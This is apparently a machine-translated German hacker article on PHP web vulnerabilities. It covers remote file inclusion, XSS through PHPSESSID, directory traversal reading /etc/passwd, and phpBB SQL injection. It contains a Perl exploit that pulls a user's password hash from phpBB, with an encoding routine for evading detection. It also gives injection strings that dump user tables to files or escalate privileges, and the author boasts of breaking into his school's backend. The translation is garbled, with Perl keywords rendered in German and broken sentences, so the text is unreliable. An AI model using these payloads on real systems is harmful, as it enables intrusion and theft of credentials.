Gemessen an der aktuellen Netzwerksicherheit sollte die Schwachstelle der WEB-Seite, über die sich jeder am meisten Sorgen macht und der er am meisten ausgesetzt ist, ASP sein. In dieser Hinsicht ist Xiaozhu ein Experte, und aus der Perspektive von PHP habe ich dort jedoch kein Mitspracherecht Es gibt auch sehr schwerwiegende Sicherheitslücken, aber es gibt nicht viele Artikel in diesem Bereich. Lassen Sie uns hier kurz auf die damit verbundenen Schwachstellen von PHP-Seiten eingehen.
Ich habe eine Zusammenfassung der aktuellen häufigen PHP-Schwachstellen erstellt, die grob in die folgenden Kategorien unterteilt sind: einschließlich Dateischwachstellen, Schwachstellen bei der Ausführung von Skriptbefehlen, Schwachstellen bei Dateilecks, Schwachstellen bei SQL-Injection usw. Natürlich, was einige gängige Technologien betrifft, wie z Ich werde hier nicht auf COOKIE-Spoofing eingehen, es gibt viele Informationen darüber im Internet. Lassen Sie uns also nacheinander analysieren, wie diese Schwachstellen ausgenutzt werden können.
Lassen Sie uns zunächst die Sicherheitslücke in der Datei besprechen, die nur für PHP gilt. Sie ist auf die unzureichende Verarbeitung extern bereitgestellter bösartiger Daten zurückzuführen, die es entfernten Angreifern ermöglicht, mithilfe des WEB-Prozesses beliebige Befehle auf dem System auszuführen Schauen wir uns ein Beispiel an: Angenommen, es gibt einen solchen Code in a.php:
<?php
include($include."/xxx.php\");
?>
In diesem Code ist $include im Allgemeinen ein eingerichteter Pfad, aber wir können den Angriffszweck erreichen, indem wir selbst einen Pfad erstellen. Wenn wir beispielsweise Folgendes einreichen: a.php?include=http://web/b .php, dieses Web ist der Raum, den wir zum Angriff verwenden. Natürlich ist b.php der Code, den wir zum Angriff verwenden. Wir können in b.php etwas schreiben wie: passhru("/bin/ls/etc"). ;-Code. Auf diese Weise können Sie einige gezielte Angriffe durchführen (Hinweis: Der Webserver sollte nicht in der Lage sein, PHP-Code auszuführen, da es sonst zu Problemen kommt. Weitere Informationen finden Sie unter << Wie man mit häufigen Schwachstellen umgeht in PHP-Programmen Angriff >>). Im Hinblick auf diese Schwachstelle gibt es viele Probleme, zum Beispiel: PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart und viele mehr.
Schauen wir uns als Nächstes die Schwachstelle bei der Ausführung von Skriptbefehlen an. Diese ist auf die unzureichende Filterung der von Benutzern übermittelten URI-Parameter zurückzuführen. Die Übermittlung von Daten, die bösartigen HTML-Code enthalten, kann einen Cross-Site-Scripting-Angriff auslösen und möglicherweise vertrauliche Informationen erhalten Zielbenutzer. Lassen Sie uns auch ein Beispiel geben: Der Seite index.php in PHP Transparent PHP 4.3.1 oder niedriger fehlt eine ausreichende Filterung von PHPSESSID. Wir können den Zweck des Angriffs durch solchen Code erreichen:
http://web/index.php?PHPSESSID="><script>...</script >In Skripten können wir Funktionen konstruieren, um einige vertrauliche Informationen von Benutzern zu erhalten. Es gibt diesbezüglich relativ wenige Schwachstellen, außer In Zusätzlich zu PHP Transparent gibt es: PHP-Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board usw.
Werfen wir dann einen Blick auf die Sicherheitslücke bei der Offenlegung von Dateien. Diese Sicherheitslücke ist darauf zurückzuführen, dass vom Benutzer übermittelte Parameter nicht ausreichend gefiltert werden. Angreifer können damit Verzeichnisdurchquerungsangriffe durchführen und an vertrauliche Informationen gelangen. Nehmen wir als Beispiel das kürzlich entdeckte phpMyAdmin. In phpMyAdmin filtert die Seite „export.php“ den vom Benutzer übermittelten Parameter „what“ nicht vollständig. Ein Remote-Angreifer kann dies umgehen, indem er Daten mit mehreren „../“-Zeichen übermittelt. Überwinden Sie WEB-ROOT-Einschränkungen und zeigen Sie alle Dateiinformationen auf dem System mit WEB-Berechtigungen an. Geben Sie beispielsweise eine solche Adresse ein: export.php?what=../../../../../.. /etc/passwd%00 kann den Zweck des Dateilecks erreichen ist relativ Es gibt noch mehr: myPHPNuke, McNews usw.
Schließlich sind wir wieder beim aufregendsten Punkt. Denken Sie darüber nach, wie viel Spaß es macht, SQL-Injection in Asp-Seiten zu verwenden. In der Vergangenheit mussten wir manuell injizieren, bis Xiaozhu das „SQL-Injection-Geheimbuch“ erkannte Nach der Entwicklung von NBSI hat unsere NB Alliance wirklich einen großen Unterschied gemacht. Wir haben nacheinander CSDN, Monopoly Forum, China Channel und anderen großen Websites dabei geholfen, Lücken zu finden (ich werde hier nicht noch mehr Blödsinn erzählen, das ist etwas abseits des Themas). .. ). Kehren wir zum Thema zurück. Tatsächlich ist die SQL-Injection in PHP ungefähr das Gleiche wie die SQL-Injection in PHP. Achten Sie nur auf die verwendeten Funktionen. Die Funktion ist im Wesentlichen unverändert geblieben. Wenn jeder an PHP-NUKE und PHPBB denkt, sollten Foren wie Dongwang der König der Lücken in der ASP-Welt sein Das heißt nicht, dass die Sicherheit seines Forums zu schlecht ist, sondern dass es zu bekannt ist. Je mehr andere es nutzen, desto mehr Leute werden recherchieren und desto mehr Sicherheitslücken werden entdeckt , was heutzutage sehr beliebt ist, verwenden sie normalerweise PHPBB. Seine Schwachstellen treten auch ständig auf, angefangen bei der phpBB 1.4.0-Version bis hin zur aktuellen phpBB 2.0 .6-Version von groupcp .php und die zuvor entdeckten search.php, profile.php, viewtopic.php usw. summieren sich auf etwa ein Dutzend. Dies hat immer dazu geführt, dass einige Leute es als experimentelles Produkt verwenden, wenn sie PHP-Schwachstellen untersuchen . Wie das Sprichwort sagt: Übung macht den Meister. Ich glaube, PHPBB wird in Zukunft immer besser.
Okay, analysieren wir die Ursache der Sicherheitslücke. Wenn Sie viewtopic.php aufrufen, wird die „topic_id“ direkt aus der GET-Anfrage abgerufen und an den SQL-Abfragebefehl übergeben , kann der Angreifer eine spezielle SQL-Zeichenfolge übermitteln, um das MD5-Passwort zu erhalten. Diese Passwortinformationen können für die automatische Anmeldung oder das Knacken von Brute-Force-Angriffen verwendet werden. (Ich glaube nicht, dass irgendjemand Brute-Force-Cracking betreiben möchte, es sei denn, es gibt einen besonders wichtigen Grund. Schauen wir uns zunächst den relevanten Quellcode an.)
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
Aus dem oben Gesagten können wir ersehen, dass der ausgeführte Abfragecode wie folgt aussieht, wenn „view=neest“ und „sid“ auf einen Wert gesetzt sind (wenn Sie den PHPBB-Quellcode nicht gesehen haben, empfehle ich Ihnen, ihn zu lesen und dann hierher zu kommen). Schauen Sie, die betroffenen Systeme sind: phpBB 2.0.5 und phpBB 2.0.4)
.
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# where s.session_id = '$session_id'
# UND u.user_id = s.session_user_id
# UND p.topic_id = $topic_id
# AND p.post_time >= u.user_lastvisit
# ORDER BY p.post_time ASC
# LIMIT 1";
Rick hat den folgenden Testcode bereitgestellt:
use IO::Socket;
$remote = Verschiebung ||. 'localhost';
$view_topic = Shift ||. '/phpBB2/viewtopic.php';
$uid = Verschiebung ||. 2;
$port = 80;
$dbtype = 'mysql4'; # mysql4 oder pgsql
print "Es wird versucht, den Passwort-Hash für die UID $uid server $remote dbtype abzurufen: $dbtypen";
$p = "";
for($index=1; $index<=32; $index++) {
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Typ => SOCK_STREAM)
oder die "Verbindung zu $remote:$port :$@n konnte nicht hergestellt werden";
$str = "GET $view_topic" .sid=1&topic_id=-1" .
drucken $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1n"; # ersetzen Sie dies durch pgsql oder entfernen Sie es
print $socket "Host: $remotenn";
while ($answer = <$socket>) {
if ($answer =~ /location:.*x23(d+)/) # Entspricht dem Standort: viewtopic.php?p=<num>#<num> {
$p .= chr ();
}
}
close($socket);
}
print "nMD5-Hash für UID $uid ist $pn";
# Zufallskodierungsstr. hilft, Erkennung zu vermeiden
sub random_encode {
$str = Verschiebung;
$ret = "";
for($i=0; $i<length($str); $i++) {
$c = substr($str,$i,1);
$j = Randlänge($str) * 1000;
if (int($j) % 2 || $c eq '') {
$ret .= "%" . sprintf("%x",ord($c));
} anders {
$ret .= $c;
}
}
return $ret;
}
sub make_dbsql {
if ($dbtype eq 'mysql4') {
return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql') {
return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
} anders {
zurückkehren "";
}
}
Ich werde nicht viel über diesen kaputten Code erklären. Die Funktion besteht darin, den HASH-Wert zu erhalten.
Wenn Sie dies sehen, haben Sie möglicherweise einige Fragen dazu, warum die zuvor erwähnten geänderten Funktionen nicht verwendet werden. Ich habe keine Angst, die Leute zum Lachen zu bringen, wenn ich ihnen sage: Tatsächlich werden die Abfrageanweisungen einiger Seiten vieler Websites im Internet aussehen so was:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
Lachen Sie nicht, es stimmt. Ich habe dies verwendet, um auf mehrere große Websites zuzugreifen, es ist schwer zu sagen, aber für die Website unserer Schule habe ich dies verwendet, um auf das Backend zuzugreifen (ich hoffe, das Schulnetzwerkzentrum kann dies tun). Ich sehe es nicht) Dieser Artikel, ^_^). Andernfalls müssen Sie die Passwörter anderer Personen ändern!!!
Ich habe fast vergessen, dass PHP sich in Bezug auf die SQL-Injection von ASP unterscheidet. Daher funktionieren viele Abfrageanweisungen, die in MSSQL verwendet werden können, in der MySQL-Datenbank nicht Gängige Injektionsanweisungen lauten wie folgt: aaa.php?id=a' in die Ausgabedatei 'pass.txt' oder aaa.php?id=a' in die Ausgabedatei 'pass.txt' /*Es kann weiter geändert werden in: aaa.php? id=a' oder 1=1 Union Select ID, Name, Passwort von Benutzern in die Ausgabedatei 'c:/a.txt'. Auf diese Weise können Sie die Datenbankdaten in eine Datei exportieren und sie dann anzeigen.
Oder so: mode=',user_level='4
Diese Anweisung wird im Allgemeinen beim Ändern von Daten verwendet. Wenn die Seite eine Sicherheitslücke aufweist, kann dies zu einer Erhöhung der Berechtigungen führen.
Andere wie „OR 1=1 – oder: 1“ oder „1=“1 ähneln Asp. Ich werde hier nicht auf Details eingehen. In PHP scheint die SQL-Injection die größte Schwachstelle zu sein Seiten. Das ist das Problem.
Tatsächlich gibt es für die oben genannten Klassifizierungen nur einen Grund: Die übermittelten Parameter werden nicht gefiltert oder die Filterung ist nicht streng genug. Die Verteidigungslinien der Hacker waren schon immer sowohl offensiv als auch defensiv. Sprechen wir hier über die Prävention Methoden im Allgemeinen:
Erstens ist es meiner Meinung nach am wichtigsten, magic_quotes_gpc auf ON zu setzen. Seine Funktion besteht darin, einfache Anführungszeichen, doppelte Anführungszeichen, Backslashes und Nullzeichen in Zeichen umzuwandeln, die Backslashes enthalten, z select * from admin where username='$username' and password ='$password' Anweisung, der Angreifer möchte 1' oder 1='1 verwenden, um die Überprüfung zu überspringen, aber diese Zeichenfolgen werden wie folgt umgewandelt: select * from admin where Benutzername='a' und Passwort='1' oder 1='1', um den Zweck der Injektionsverhinderung zu erreichen. Wenn dies nicht funktioniert, definieren Sie Ihre eigene Funktion Nun scheint es, dass diejenigen, die sich mit PHP-Injection beschäftigen, ebenfalls relativ deprimiert sind, da Versionen unter myslq4 keine Unteranweisungen unterstützen und neue Versionen von mysql die Option magic_quotes_gpc standardmäßig auf „on“ setzen.
Die Methode zur Behebung der Sicherheitslücke in Include-Dateien besteht darin, Programmierer aufzufordern, keine Variablen für Parameter in Include-Dateien zu verwenden. Wenn Variablen verwendet werden, müssen die einzuschließenden Dateinamen streng überprüft werden und dürfen nicht willkürlich vom Benutzer angegeben werden Es wird empfohlen, global_variables auf „off“ zu setzen. Beispielsweise ist die Einschränkung des PHP-Operationspfads beim Öffnen der vorherigen Datei eine notwendige Option. Stellen Sie darüber hinaus, sofern nicht anders erforderlich, sicher, dass Sie die Remote-Dateiöffnungsfunktion von PHP deaktivieren. Ändern Sie die Datei php.ini:allow_url_fopen = Off (Hinweis: Siehe <<PHP-Sicherheitsprobleme: Remote Overflow, DoS, Safe_mode Bypass Vulnerabilities>>).